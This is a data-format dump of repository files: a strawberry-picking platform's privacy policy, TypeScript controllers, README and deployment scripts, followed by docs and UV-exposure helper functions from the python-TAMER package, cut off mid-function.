or “us” in this policy, we are referring to Quick Pick the company which provides the Services. When we talk about the “Services” in this policy, we are referring to our online teleoperated strawberry picking and classification platform. Our Services are currently available for limited use via a web browser.\n\n## Information we collect and receive\n\n### *1. Customer Data*\n\nContent and information submitted by users to the Services is referred to in this policy as **\"Customer Data.\"** As further explained below, Customer Data is controlled by the organization or other third party that created the account (the **“Customer”**). Where Quick Pick collects or processes Customer Data, it does so on behalf of the Customer.\n\nIf you create a user account, you are a \"user,\" as further described in the End User License Agreement. \n\n### *2. Other information*\n\nQuick Pick may also collect and receive the following information:\n\n* **Account creation information.** Users may provide information such as an email address, username, and password to create an account.\n\n* **Services usage information.** This is information about how you are accessing and using the Services, which may include administrative and support communications with us and information about the features, content, and links you interact with.\n\n* **Log data.** When you use the Services our servers automatically record information, including information that your browser sends whenever you visit a website or your mobile app sends when you are using it. This log data may include your Internet Protocol address, your browser type and settings, the date and time of your use of the Services, information about your browser configuration and plug-ins, language preferences, and cookie data.\n\n* **Device information.** We may collect information about the device you are using the Services on, including what type of device it is, what operating system you are using, device settings, application IDs, unique device identifiers, and crash data. Whether we collect some or all of this information often depends on what type of device you are using and its settings.\n\n## How we use your information\n\nWe use your information to provide and improve the Services.\n\n### *1. Customer Data*\n\nQuick Pick may access and use Customer Data as reasonably necessary and in accordance with Customer’s instructions to (a) provide, maintain and improve the Services; (b) to prevent or address service, security, technical issues or at a Customer’s request in connection with customer support matters; (c) as required by law and (d) as set forth in our agreement with the Customer or as expressly permitted in writing by the Customer.\n\n### *2. Other information*\n\nWe use other kinds of information in providing the Services. Specifically:\n\n* **To understand and improve our Services.** We carry out research and analyze trends to better understand how users are using the Services and improve them.\n\n* **To communicate with you by:**\n\n * **Responding to your requests.** If you contact us with a problem or question, we will use your information to respond.\n\n * **Sending emails and Quick Pick messages.** We may send you Service and administrative emails and messages. We may also contact you to inform you about changes in our Services, our Service offerings, and important Service related notices, such as security and fraud notices. These emails and messages are considered part of the Services and you may not opt-out of them. \n\n* **Investigating and preventing bad stuff from happening.** We work hard to keep the Services secure and to prevent abuse and fraud.\n\nThis policy is not intended to place any limits on what we do with data that is aggregated and/or de-identified so it is no longer associated with an identifiable user or Customer of the Services.\n\n## Your choices\n\n### *1. Customer Data*\n\nCustomer provides us with instructions on what to do with Customer Data. A Customer has a few choices and control over Customer Data. For example, Customer may provision or deprovision access to the Services. Since these choices and instructions may result in the access, use, disclosure, modification or deletion of certain or all Customer Data, please feel free to contact us at [email protected].\n\n### *2. Other information*\n\nIf you have any questions about your information, our use of this information, or your rights when it comes to any of the foregoing, contact us at [email protected].\n\n### *Other Choices*\n\nIn addition, the browser you use may provide you with the ability to control cookies or other types of local data storage. Your mobile device may provide you with choices around how and whether location or other data is collected and shared. Quick Pick does not control these choices, or default settings, which are offered by makers of your browser or mobile device operating system.\n\n## Sharing and Disclosure\n\nThere are times when information described in this privacy policy may be shared by Quick Pick. This section discusses only how Quick Pick may share such information. Customers determine their own policies for the sharing and disclosure of Customer Data. Quick Pick does not control how Customers choose to share or disclose Customer Data.\n\n### *1. Customer Data*\n\nQuick Pick may share Customer Data in accordance with our agreement with the Customer and the Customer’s instructions, including:\n\n* **With affiliates.** We may engage affiliates in our corporate group to process Customer Data.\n\n### *2. Other information*\n\nQuick Pick may share other information as follows:\n\n* **About you with the Customer.** There may be times when you contact Quick Pick to help resolve an issue specific to your account or organization. In order to help resolve the issue and given our relationship with our Customer, we may share your concern with our Customer.\n\n* **With affiliates.** We may engage affiliates in our corporate group to process other information.\n\n### *3. Other types of disclosure*\n\nQuick Pick may share or disclose Customer Data and other information as follows:\n\n* **During changes to our business structure.** If we engage in a merger, acquisition, reorganization, sale of some or all of Quick Pick's business, a similar transaction or proceeding, or steps in contemplation of such activities (e.g. due diligence).\n\n* **To comply with laws.** To comply with legal or regulatory requirements and to respond to lawful requests, court orders and legal process.\n\n* **To enforce our rights, prevent fraud and for safety.** To protect and defend the rights, property, or safety of us, including enforcing contracts or policies, or in connection with investigating and preventing fraud.\n\nWe may disclose or use aggregate or de-identified information for any purpose. For example, we may share aggregated or de-identified information with our partners or others for business or research purposes like telling a prospective Quick Pick Customer the expected yearly increase in strawberry farm productivity on farms using Quick Pick or partnering with research firm or academics to explore interesting questions about strawberry farm management.\n\n## Security\n\nQuick Pick takes security seriously. We take various steps to protect information you provide to us from loss, misuse, and unauthorized access or disclosure. These steps take into account the sensitivity of the information we collect, process and store, and the current state of technology.\n\n## Children’s information\n\nOur Services are not directed to children under 13. If you learn that a child under 13 has provided us with personal information without consent, please contact us.\n\n## Changes to this Privacy Policy\n\nWe may change this policy from time to time, and if we do we will post any changes on this page. If you continue to use the Services after those changes are in effect, you agree to the revised policy.\n\n" }, { "alpha_fraction": 0.7283236980438232, "alphanum_fraction": 0.7283236980438232, "avg_line_length": 23.85714340209961, "blob_id": "0a2bb9ebd2b402248a3d1b4702d41c4c78055510", "content_id": "571d37933bfd6d8b2fc392f4eeeda855212dd613", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 173, "license_type": "no_license", "max_line_length": 70, "num_lines": 7, "path": "/frontEnd/src/js/models/classification/IClassification.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IBerryInformation} from \"../identification/IBerryInformation\";\n\nexport interface IClassifiedBerry {\n id?: number;\n type?: any;\n berry?: IBerryInformation;\n}" }, { "alpha_fraction": 0.7170370221138, "alphanum_fraction": 0.7170370221138, "avg_line_length": 26.040000915527344, "blob_id": "e7e87960246287096c8e65c96321a1c1c44c6598", "content_id": "61191101467953e9c95348355ef21fa640535130", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 675, "license_type": "no_license", "max_line_length": 96, "num_lines": 25, "path": "/frontEnd/src/js/models/users/ManagerController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from \"../ServerController\";\nimport {IUser} from \"./IUser\";\n\n\nexport interface IManagerController {\n getManagers():Promise<IUser[]>\n inviteManager(data)\n}\n\nexport class ManagerController implements IManagerController {\n\n private serverController:IServerController;\n\n constructor(serverController:IServerController) {\n this.serverController = serverController;\n }\n\n async getManagers():Promise<IUser[]> {\n return await this.serverController.getRequest(\"api/users/managers\");\n }\n\n async inviteManager(data) {\n return await this.serverController.postRequest(\"api/users\", {...data, role: \"MANAGER\"});\n }\n}" }, { "alpha_fraction": 0.6089171767234802, "alphanum_fraction": 0.6089171767234802, "avg_line_length": 28.11111068725586, "blob_id": "793e2711e95a542322482fa424f2821e6b7048a3", "content_id": "4493c64b9af87769e28303e22add781ba64a9982", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 785, "license_type": "no_license", "max_line_length": 87, "num_lines": 27, "path": "/frontEnd/src/js/models/statistics/StatisticsController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from \"../ServerController\";\nimport {IBerryLocation} from \"./IBerryLocation\";\n\nexport interface IStatisticsController {\n getBerryLocations():Promise<IBerryLocation[]>;\n}\n\nexport class StatisticsController implements IStatisticsController {\n private server: IServerController;\n\n constructor(server: IServerController) {\n this.server = server;\n }\n\n async getBerryLocations(): Promise<IBerryLocation[]> {\n const berries = await this.server.getRequest(\"api/pictures/getBerryLocations\");\n return berries.map(berry => {\n return {\n ...berry,\n location: {\n lat: berry.latitude,\n lng: berry.longitude\n },\n }\n });\n }\n}" }, { "alpha_fraction": 0.5840708017349243, "alphanum_fraction": 0.6283186078071594, "avg_line_length": 21.399999618530273, "blob_id": "36b734a74b0779f455def83ad921ab43809aa263", "content_id": "336882b8b811b44295e1401d25b65f9ea5b4516d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 113, "license_type": "no_license", "max_line_length": 60, "num_lines": 5, "path": "/pi/takepic.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/sh\n\n#DATE=`date +%Y-%m-%d_%H%M`\n#echo $DATE\ncurl -s -o /dev/null http://localhost:8080/0/action/snapshot\n\n" }, { "alpha_fraction": 0.5541724562644958, "alphanum_fraction": 0.5610880851745605, "avg_line_length": 21.60416603088379, "blob_id": "d9cf335bd1d105ec6bc7d898b2ce7422fdec2fa8", "content_id": "a78e2ecf03f631a3cfa207df7178de9481589762", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 2169, "license_type": "no_license", "max_line_length": 67, "num_lines": 96, "path": "/frontEnd/src/js/models/identification/IdentificationJSON.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IBerryInformation} from \"./IBerryInformation\";\nimport {IPoint} from \"./IPoint\";\n\nexport interface IIdentifiedBerry {\n getParentPicture():any;\n setParentPicture(parentPicture:any);\n addPoint(x:number, y:number);\n removeLastBerry();\n getPoints();\n getNumPoints():number;\n clearPoints();\n getBerries(): IBerryInformation[];\n clearBerries();\n canSendJSON():boolean;\n resetJSON();\n}\n\nexport class IdentificationJSON implements IIdentifiedBerry{\n private parentPicture: any;\n private points:IPoint[];\n private berries: IBerryInformation[];\n\n constructor() {\n this.parentPicture = null;\n this.points = [];\n this.berries = [];\n }\n\n getParentPicture():any {\n return this.parentPicture;\n }\n\n setParentPicture(parentPicture:any) {\n this.parentPicture = parentPicture;\n }\n\n addPoint(x:number, y:number) {\n this.points.push({x:x,y:y});\n if (this.points.length == 3) {\n this.berries.push(this.makeBerryFromPoints());\n this.clearPoints();\n }\n }\n\n removeLastBerry() {\n if (this.points.length == 0) {\n this.berries.pop();\n }\n else {\n this.points = [];\n }\n }\n\n getPoints() {\n return this.points;\n }\n\n getNumPoints(): number {\n return this.points.length;\n }\n\n clearPoints() {\n this.points = [];\n }\n\n getBerries():IBerryInformation[] {\n return this.berries;\n }\n\n clearBerries() {\n this.berries = [];\n }\n\n canSendJSON():boolean {\n return this.points.length == 0 && this.berries.length != 0;\n }\n\n resetJSON() {\n this.clearPoints();\n this.clearBerries();\n }\n\n private makeBerryFromPoints(): IBerryInformation {\n return {\n id:-1,\n parentPicture: this.parentPicture,\n tipX: this.points[0].x,\n tipY: this.points[0].y,\n shoulder1X: this.points[1].x,\n shoulder1Y: this.points[1].y,\n shoulder2X: this.points[2].x,\n shoulder2Y: this.points[2].y,\n classifications: []\n }\n }\n}" }, { "alpha_fraction": 0.7007099986076355, "alphanum_fraction": 0.7007099986076355, "avg_line_length": 34.230770111083984, "blob_id": "a4646e178500e063c46b03ad62ef2bc2ea7912ef", "content_id": "f238bff6d3a7f9346f6fd0375097f5bdfedf66a2", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "TypeScript", "length_bytes": 1831, "license_type": "no_license", "max_line_length": 135, "num_lines": 52, "path": "/frontEnd/src/js/models/classification/ClassificationController.ts", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "import {IServerController} from \"../ServerController\";\nimport {IClassifiedBerry} from \"./IClassification\";\nimport {IBerryInformation} from \"../identification/IBerryInformation\";\nimport {isNullOrUndefined} from \"util\";\nimport * as Error from \"request-promise\";\n\nexport interface IClassificationController {\n getAllClassifiedBerries(): Promise<IBerryInformation[]>;\n getBerryById(id: number): Promise<IClassifiedBerry>;\n postBerry(classification:IClassifiedBerry);\n getNextBerry():Promise<IBerryInformation | null>;\n}\n\nexport class ClassificationController implements IClassificationController {\n private serverController: IServerController;\n\n constructor(server: IServerController) {\n this.serverController = server;\n }\n\n async getAllClassifiedBerries(): Promise<IBerryInformation[]> {\n return await this.serverController.getRequest(\"api/berryInformation\");\n }\n\n async getBerryById(id: number): Promise<IClassifiedBerry> {\n return await this.serverController.getRequest(`api/berryInformation/${id}`);\n }\n\n async postBerry(classification:IClassifiedBerry) {\n if (!isNullOrUndefined(classification.berry)) {\n await this.serverController.postRequest(`api/berryInformation/${classification.berry.id}/classifications`, classification);\n }\n }\n\n async getNextBerry(): Promise<IBerryInformation | null> {\n try {\n const berry = await this.serverController.getRequest(\"api/berryInformation/next\");\n\n if (!this.instanceOfIBerryInformation(berry)) {\n return null;\n }\n return berry;\n }\n catch {\n return null;\n };\n }\n\n private instanceOfIBerryInformation(object: any): object is IBerryInformation {\n return 'finalClassification' in object;\n }\n}" }, { "alpha_fraction": 0.7454710006713867, "alphanum_fraction": 0.75, "avg_line_length": 26.600000381469727, "blob_id": "f815093bc8e6c7eed82b01b1712aae86d07a6bfc", "content_id": "407ea68bf47b0b39f3ce81c9d415b2682dbbb161", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1104, "license_type": "no_license", "max_line_length": 127, "num_lines": 40, "path": "/README.md", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "[![Build Status](https://travis-ci.org/CPSECapstone/QuickPick.svg?branch=master)](https://travis-ci.org/CPSECapstone/QuickPick)\n\n# Contents\n* [Website Alpha](#site)\n* [Terms](#terms)\n* [Privacy Policy](#privacy)\n* [Feedback](#feedback)\n* [Developer Resources](#resources)\n____\n## Site\n[Quick Pick Alpha](https://www.quickpickberries.com)\n\n## Terms\nGo to our [EULA document](docs/EULA.md).\n\n## Privacy\nGo to our [Privacy Policy document](docs/Privacy_Policy.md).\n\n## Resources\n[Installation Instructions](docs/INSTALL.md)\n\n[API Documentation](https://cdn.rawgit.com/CPSECapstone/QuickPick/master/docs/index.html)\n\n[API Documentation hosted on SwaggerHub](https://app.swaggerhub.com/apis/QuickPick/QuickPick/1.0.1)\n\n[Frontend 3rd Party Software Used](frontEnd/FrontEndDependencyTOS.md)\n\n[Backend 3rd Party Software Used](webServer/Licenses.md)\n\n### Dev Setup Guides\n[Web Server Dev Setup](webServer/serverSetup.md)\n\n[Front End Dev Setup](frontEnd/frontEndSetup.md)\n\n### [Sugested Tutorials](docs/Tutorials.md)\n\n## Contact\nEmail thoughts, suggestions, and error reports to [email protected]\n\n[Back to top](#features)\n" }, { "alpha_fraction": 0.7645348906517029, "alphanum_fraction": 0.7732558250427246, "avg_line_length": 48.14285659790039, "blob_id": "ab20cda75f629d5cef5ccaedf86ec08d6ee68896", "content_id": "ced336916460b114fbc9fe9a2b32c829d949ea1d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 344, "license_type": "no_license", "max_line_length": 96, "num_lines": 7, "path": "/manual-deploy.sh", "repo_name": "CPSECapstone/QuickPick", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\neval $(aws ecr get-login --region us-west-2 --no-include-email)\ndocker-compose -f docker-compose.prod.yml up --build\ndocker build -t quickpick:latest ./\ndocker tag quickpick:latest $AWS_ACCOUNT_NUMBER.dkr.ecr.us-west-2.amazonaws.com/quickpick:latest\ndocker push $AWS_ACCOUNT_NUMBER.dkr.ecr.us-west-2.amazonaws.com/quickpick:latest\n" } ]
55
frankcode101/DenseNet
https://github.com/frankcode101/DenseNet
cbe30ed5e3a53934dbdcd0445bf7873d2e81e5d3
bc887d6a26a471f93233c2a3f5bcd9769b97b4d5
e5f0124eaf484886382c58379094f8c1bc8cc35b
refs/heads/main
2023-06-19T01:42:43.160555
2021-07-22T08:31:18
2021-07-22T08:31:18
388,183,757
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.800000011920929, "alphanum_fraction": 0.800000011920929, "avg_line_length": 9, "blob_id": "326976bb713d8611148a2b0e96b26adc222789a0", "content_id": "fe5aa6f093fe7ed9bdd30cecf4b0c3c00dbd4b21", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 20, "license_type": "no_license", "max_line_length": 10, "num_lines": 2, "path": "/README.md", "repo_name": "frankcode101/DenseNet", "src_encoding": "UTF-8", "text": "# DenseNet\nDenseNet\n" }, { "alpha_fraction": 0.6181055307388306, "alphanum_fraction": 0.6336930394172668, "avg_line_length": 34.977779388427734, "blob_id": "d8f9941b2213d21bd8a414f1a305017511f8b090", "content_id": "b5a2427868f0efb0c56292c4f5e4273bf5f0cb6e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1668, "license_type": "no_license", "max_line_length": 110, "num_lines": 45, "path": "/app.py", "repo_name": "frankcode101/DenseNet", "src_encoding": "UTF-8", "text": "import streamlit as st\r\nimport tensorflow as tf\r\nimport streamlit as st\r\n\r\[email protected](allow_output_mutation=True)\r\ndef load_model():\r\n model=tf.keras.models.load_model('final_model.hdf5')\r\n return model\r\nwith st.spinner('Model is being loaded..'):\r\n model=load_model()\r\nst.write(\"\"\"\r\n # Fashion MNIST Classification\r\n \"\"\"\r\n )\r\nfile = st.file_uploader(\"Please upload an image\", type=[\"jpg\", \"png\"])\r\nimport cv2\r\nfrom PIL import Image, ImageOps\r\nimport numpy as np\r\nst.set_option('deprecation.showfileUploaderEncoding', False)\r\ndef import_and_predict(image_data, model):\r\n size = (28,28)\r\n image = ImageOps.fit(image_data, size, Image.ANTIALIAS)\r\n image = np.asarray(image)\r\n img = cv2.cvtColor(image, cv2.COLOR_BGR2GRAY)\r\n img_resize = (cv2.resize(img, dsize=(28, 28),interpolation=cv2.INTER_CUBIC))/255.\r\n img_reshape = img_resize[np.newaxis,...]\r\n prediction = model.predict(img_reshape)\r\n return prediction\r\nif file is None:\r\n st.text(\"Please upload an image file\")\r\nelse:\r\n image = Image.open(file)\r\n class_names = ['T-shirt/top', 'Trouser', 'Pullover', 'Dress', 'Coat', 'Sandal', 'Shirt', 'Sneaker', 'Bag',\r\n 'Ankle boot']\r\n st.image(image, use_column_width=True)\r\n predictions = import_and_predict(image, model)\r\n score = 100*np.max(predictions[0])\r\n st.write(\r\n \"This image most likely belongs to {} with a {:.2f} percent.\"\r\n .format(class_names[np.argmax(predictions[0])], (score))\r\n)\r\n print(\r\n \"This image most likely belongs to {} with a {:.2f} percent.\"\r\n .format(class_names[np.argmax(predictions[0])], (score))\r\n)\r\n\r\n\r\n" } ]
2
MeteoSwiss/python-TAMER
https://github.com/MeteoSwiss/python-TAMER
fedc0e12cc66b7934d72b232c550c6f44534c832
c351fc3ae56cfb03a7fe4007f55fd1205a108959
023ad4f2f15929631a39405af2b452b38e37efe8
refs/heads/main
2023-05-04T18:02:13.779052
2021-06-02T07:58:39
2021-06-02T07:58:39
305,331,685
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.6619859337806702, "alphanum_fraction": 0.6965897679328918, "avg_line_length": 43.31111145019531, "blob_id": "55e5a0a71525f7c2529244cd8fe8ae7cd722ad45", "content_id": "b2f371041005c66121f1cca1e3475bd1063e43d7", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 1994, "license_type": "permissive", "max_line_length": 129, "num_lines": 45, "path": "/HISTORY.rst", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "=======\nHistory\n=======\n\n0.4.0 Open Alpha (2021-05-24)\n--------------------------------\n\n* Added the new ``ExposureMapSequence`` class providing much improved map making capabilities (this was the majority of the work)\n* Added the ``render_map()`` function to produce more beautiful maps across in a more versatile way\n* Added the ``str2daysofyear()`` function to interpret keywords like month names and produce the days of the year\n* Added the ``analyse_variable()`` function to the ``SpecificDoses`` class for more flexible analysis options\n\n\n0.3.1 Open Alpha (2021-03-29)\n---------------------------------\n\n* Fixed errors in example code in documentation\n* Fixed ``ER_Vernez_2015()`` function \n* Updated assumptions about units to reflect new dataset from Vuilleumier in UVI rather than W m-2\n* Fixed issue where modifying ``map_options`` property would result in it being set to None\n\n\n0.3.0 Open Alpha (2021-03-23)\n---------------------------------\n\n* Compiled and added to PyPI for easy public access\n* Added standalone function for calculating ER using the Vernez 2015 method: ``ER_Vernez_2015()``\n* Significantly expanded and standardised docstrings, adding examples\n* Fixed error involving day selection in ``SpecificDoses`` class being one day late\n* Added ``SpecificDoses.standard_column_names()`` function for standardising column names to ensure functionality \n\n0.2.0 Alpha (2021-03-11)\n-----------------------------------\n\n* Added documentation\n* Added basic unit tests for each class (``SpecificDoses`` and ``ExposureMap``)\n* Added histogram descriptor calculator functions to subroutines.\n* Added map making functionality for ``ExposureMap`` class, limited consideration of ``map_options`` at this stage\n* Fixed errors when working with single day test data (but anticipate further issues with this, to be fixed in a later release)\n\n\n0.1.0 Pre-Alpha (2021-03-02)\n--------------------------------------\n\n* Alpha release on github only, no documentation and limited functionality\n" }, { "alpha_fraction": 0.7153846025466919, "alphanum_fraction": 0.7192307710647583, "avg_line_length": 26.85714340209961, "blob_id": "10fa3c9c5f673d1834e92ca9651c149fdd014b7f", "content_id": "df68ba8744a8f64d0d032661c71fe60a99601b49", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "reStructuredText", "length_bytes": 1560, "license_type": "permissive", "max_line_length": 86, "num_lines": 56, "path": "/doc/installation.rst", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "============\nInstallation\n============\n\nPython-TAMER was built using Python 3.8. It may still work on older versions\nof python, but this has not been tested. \n\n\nAnaconda Users\n--------------\n\nThe easiest way to install python-TAMER is with `Anaconda`_. \nFirst, ensure the `Dependencies`_ (listed below) are installed and up-to-date. \nThis is most easily done using the `Anaconda Navigator`_.\nUsers opting to use conda commands in a terminal will first want to add the \nconda-forge channel to their environment::\n\n conda config --append channels conda-forge\n\nThey should then be able to install the the dependencies with the command::\n\n conda install numpy pandas matplotlib netcdf4 cartopy\n\n.. _Anaconda: https://www.anaconda.com/\n.. _Anaconda Navigator: https://docs.anaconda.com/anaconda/navigator/\n\nFinally, python-TAMER can be installed by using pip within the conda environment::\n\n pip install python-tamer\n\n\nPip Users\n---------\n\nPip users will have to ensure `Cartopy`_ is installed which is not a trivial operation\ndue to some dependencies it has. However, once that is done, installing python-TAMER \n*should* be as simple as the command::\n\n pip install python-tamer\n\n\nDependencies\n------------\n\n* `Cartopy`_\n* `Matplotlib`_\n* `NetCDF4`_\n* `Numpy`_\n* `Pandas`_\n\n\n.. _Cartopy: https://scitools.org.uk/cartopy/docs/latest/\n.. _Matplotlib: https://matplotlib.org/stable/users/installing.html\n.. _NetCDF4: https://unidata.github.io/netcdf4-python/\n.. _Numpy: https://numpy.org/install/\n.. _Pandas: https://pandas.pydata.org/getting_started.html\n" }, { "alpha_fraction": 0.5805354714393616, "alphanum_fraction": 0.6159512400627136, "avg_line_length": 39.18595886230469, "blob_id": "9ef884cee6ac52ed3aaed3143ee393fb97a87389", "content_id": "daac9297f4172b784e9b816239107974e8c89a49", "detected_licenses": [ "BSD-3-Clause" ], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 21181, "license_type": "permissive", "max_line_length": 159, "num_lines": 527, "path": "/python_tamer/subroutines.py", "repo_name": "MeteoSwiss/python-TAMER", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pandas as pd\nimport datetime as dt\nimport string\n\ndef assert_data_shape_24(data,reverse=False,force_second_dim=True) :\n \"\"\"Simple function to check if first dimension is 24 hours and, if not, reshapes accordingly\n \"\"\"\n datashape = np.shape(data)\n # TODO: Could be a big job, but this F ordering is weird and I should reconsider\n if datashape[0] != 24 and not reverse: # Checks that first dimension is length 24 (hours in a day) and reshapes if not\n new_shape = (24, datashape[0]//24) + datashape[1:]\n elif reverse :\n new_shape = [datashape[0] * datashape[1]] + list(datashape[2:])\n elif force_second_dim :\n new_shape = (24, 1) + datashape[1:]\n else :\n # option in case no reshaping necessary\n return data\n data = np.reshape(data,new_shape,order='F')\n return data\n\n\ndef ER_Vernez_model_equation(Vis,mSZA) :\n \"\"\"ER_Vernez_model_equation calculates the Exposure Ratio according to the Vis parameter and the Solar Zenith Angle.\n\n See Vernez et al., Journal of Exposure Science and Environmental Epidemiology (2015) 25, 113–118 \n (doi:10.1038/jes.2014.6) for further details on the model used for the calculation.\n\n Args:\n Vis (pandas.DataFrame): Values for the Vis parameter (percentages between 0 and 100)\n mSZA (pandas.DataFrame): Values of the minimal Solar Zenith Angle in degrees for the \n given date and latitude. Can be calculated using the min_solar_zenith_angle function\n\n Returns:\n pandas.DataFrame: A single column DataFrame containing the calculated Exposure Ratios.\n \"\"\"\n\n Vis_cent = Vis / 10 - 5.800\n lnVis_cent = np.log(Vis / 10) - 1.758\n cosSZA3_cent = np.cos(np.radians(mSZA))**3 - 0.315\n ER = -3.396 * lnVis_cent + 10.714 * Vis_cent - 9.199 * cosSZA3_cent + 56.991\n return ER\n \n\ndef min_solar_zenith_angle(date,lat) :\n \"\"\"min_solar_zenith_angle calculates the minimal Solar Zenith Angle for a given date and latitude.\n\n This function is adapted from the SACRaM_astr MATLAB function written by Laurent Vuilleumier for MeteoSwiss.\n\n Args:\n date (pandas.DataFrame): A datetime column describing the specific day of exposure\n lat (panda.DataFrame): A column of latitude values in decimal degrees\n\n Returns:\n pandas.DataFrame: A column of minimal SZA values in degrees.\n \"\"\"\n\n if type(date) is pd.core.series.Series :\n TrTim = date.apply(lambda x: x.toordinal() + 366).to_numpy() * 2.73785151e-05 - 18.9996356\n else : # adds support for single date input\n TrTim = (date.toordinal() +366) * 2.73785151e-05 - 18.9996356\n TrTim = np.array(TrTim)\n G = np.radians(np.mod( 358.475833 + 35999.04975 * TrTim - 0.000150 * TrTim**2 , 360))\n SL = np.radians(np.mod( 279.696678 + 36000.76892 * TrTim + 0.000303 * TrTim**2 , 360))\n SJ = np.radians(np.mod( 225.444651 + 3034.906654 * TrTim , 360))\n SN = np.radians(np.mod( 259.183275 - 1934.142008 * TrTim + 0.002078 * TrTim**2 , 360))\n SV = np.radians(np.mod( 212.603219 + 58517.803875 * TrTim + 0.001286 * TrTim**2 , 360))\n theta = (-( 0.00001 * TrTim * np.sin( G + SL ) + 0.00001 * np.cos( G - SL - SJ ) ) -\n 0.000014 * np.sin( 2*G - SL ) - 0.00003 * TrTim * np.sin( G - SL ) -\n 0.000039 * np.sin( SN - SL ) - 0.00004 * np.cos( SL ) +\n 0.000042 * np.sin( 2*G + SL ) - 0.000208 * TrTim * np.sin( SL ) +\n 0.003334 * np.sin( G+SL ) +\n 0.009999 * np.sin( G-SL ) +\n 0.39793 * np.sin( SL ))\n rho = (0.000027 * np.sin( 2*G - 2*SV ) - 0.000033 * np.sin( G - SJ )\n + 0.000084 * TrTim * np.cos( G ) - 0.00014 * np.cos( 2*G ) - 0.033503 * np.cos( G )\n + 1.000421)\n declination = np.arcsin(theta / np.sqrt(rho))\n return lat - np.degrees(declination) \n\n\ndef find_nearest(array, value):\n array = np.asarray(array)\n idx = (np.abs(array - value)).argmin()\n return idx\n\n\ndef convert_swiss_time_to_UTC(input_table,name) :\n # TODO: Need a replacement for this, but argument the responsibility of the user?\n def convert_swiss_time_to_UTC_iter(time_in,Date) :\n if Date.month > 3 and Date.month < 11 :\n time_out = time_in \n time_out = time_out.replace(hour=time_in.hour - 2)\n else :\n time_out = time_in \n time_out = time_out.replace(hour=time_in.hour - 1)\n return time_out\n new_time = input_table.apply(lambda x: convert_swiss_time_to_UTC_iter(x[name],x[\"Date\"]),axis='columns')\n return new_time\n\n\ndef hist_mean(counts,bin_centers) :\n \"\"\"hist_mean calculates the mean of a histogram using numpy functions\n\n This function is designed to calculate a histogram mean as efficiently as possible\n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n\n Returns:\n float: the mean value of the histogram\n \"\"\"\n\n mean = np.dot(counts, bin_centers) / np.sum(counts)\n return mean\n\n\ndef hist_var(counts,bin_centers) :\n \"\"\"hist_var calculates the variance of a histogram\n\n This function calculates the variance of a histogram as E[X^2] - E[X]^2 using the\n hist_mean function to efficiently calculate expectation values.\n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n\n Returns:\n float: the variance of the histogram\n \"\"\"\n\n # Not really essential seeing as this would break the units\n var = hist_mean(counts,bin_centers**2) - hist_mean(counts,bin_centers)**2\n return var\n\n\ndef hist_stdev(counts,bin_centers) :\n \"\"\"hist_stdev calculates the standard deviation of a histogram\n\n This function calculates the variance of a histogram as E[X^2] - E[X]^2 using the\n hist_mean function to efficiently calculate expectation values. It then returns the\n square root of the variance.\n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n\n Returns:\n float: the standard deviation of the histogram\n \"\"\"\n\n var = hist_mean(counts,bin_centers**2) - hist_mean(counts,bin_centers)**2\n return var**0.5\n\n\ndef hist_percentile(counts,bin_centers,prct) :\n \"\"\"hist_percentile calculates percentiles of histogram data\n\n This function takes discretised data, typical for histograms, and calculates\n the user-specified percentile quantity. \n\n Args:\n counts (array): The quantity of numbers within each histogram bin\n bin_centers (array): The central value of each histogram bin. Note that\n this can be calculated as bin_edges[:-1]+0.5*np.diff(bin_edges) but\n we removed this calculation to optimise this function further.\n prct (float): A fraction betwee 0.0 and 1.0 for the desired percentile.\n\n Returns:\n float: The desired percentile value. In cases where the quantity falls \n between two bins, their respective central values are averaged.\n \"\"\"\n\n n = np.sum(counts)\n cumcounts = np.cumsum(counts)\n # TODO: Possibly unnecessary, but could probably improve efficiency of\n # this if statement (e.g. if i==j no need to take average)\n if prct == 0 :\n # special case: searching for min\n j = np.searchsorted(cumcounts,n*prct,side='right')\n percentile = bin_centers[j]\n elif prct == 1 : \n # special case: searching for max\n i = np.searchsorted(cumcounts,n*prct)\n percentile = 